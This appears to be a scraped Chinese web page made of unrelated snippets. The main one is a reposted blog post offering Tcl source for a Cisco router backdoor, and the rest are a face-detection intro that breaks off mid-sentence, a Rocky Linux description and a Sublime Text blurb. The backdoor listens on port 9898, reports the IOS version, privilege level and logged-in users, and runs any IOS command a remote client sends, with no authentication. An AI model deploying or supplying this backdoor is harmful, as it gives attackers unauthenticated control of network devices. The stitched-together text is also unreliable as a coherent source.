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Cisco TclShell Code (Cisco路由器小后门源代码)

===code=== # proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "=====================================" puts $sock " Cisco TclShell " puts $sock "=====================================" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response set response [exec "sh users"] puts $sock $response puts $sock " " puts $sock "Enter IOS command:" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 9898 set sh [socket -server callback $port] vwait var close $sh ===code=== 本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/551862,如需转载请自行联系原作者

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(附代码)

1.背景与场景 人脸检测(Face Detection)算是老生常谈的课题了,在诸多行业应用广泛,例如金融、安防、电子商务、智能手机、娱乐图片等行业。其中涉及的技术也在不断的演变,下面简要介绍几种思路: 基于特征的人脸检测 例如opencv中内置了基于Viola-Jones目标检测框架的Harr分类器,只需要载入一个配置文件(haarcascade_frontalface_alt.xml)就能直接调用detectObject去完成检测过程,同时也支持其他特征的检测(如鼻子、嘴巴等)。 基于学习的人脸检测 其实也是需要通过算子提取图像中的局部特征,通过对其进行分类、统计、回归等方式得到的具备更精确和快响应的分类器。 2.套路集锦 2.1 后端处理 前端通过网络将资源传输到后端,后端统一处理需要检测的图像或视频流,对后端的架构有一定的挑战,同时网络的

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Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

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Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

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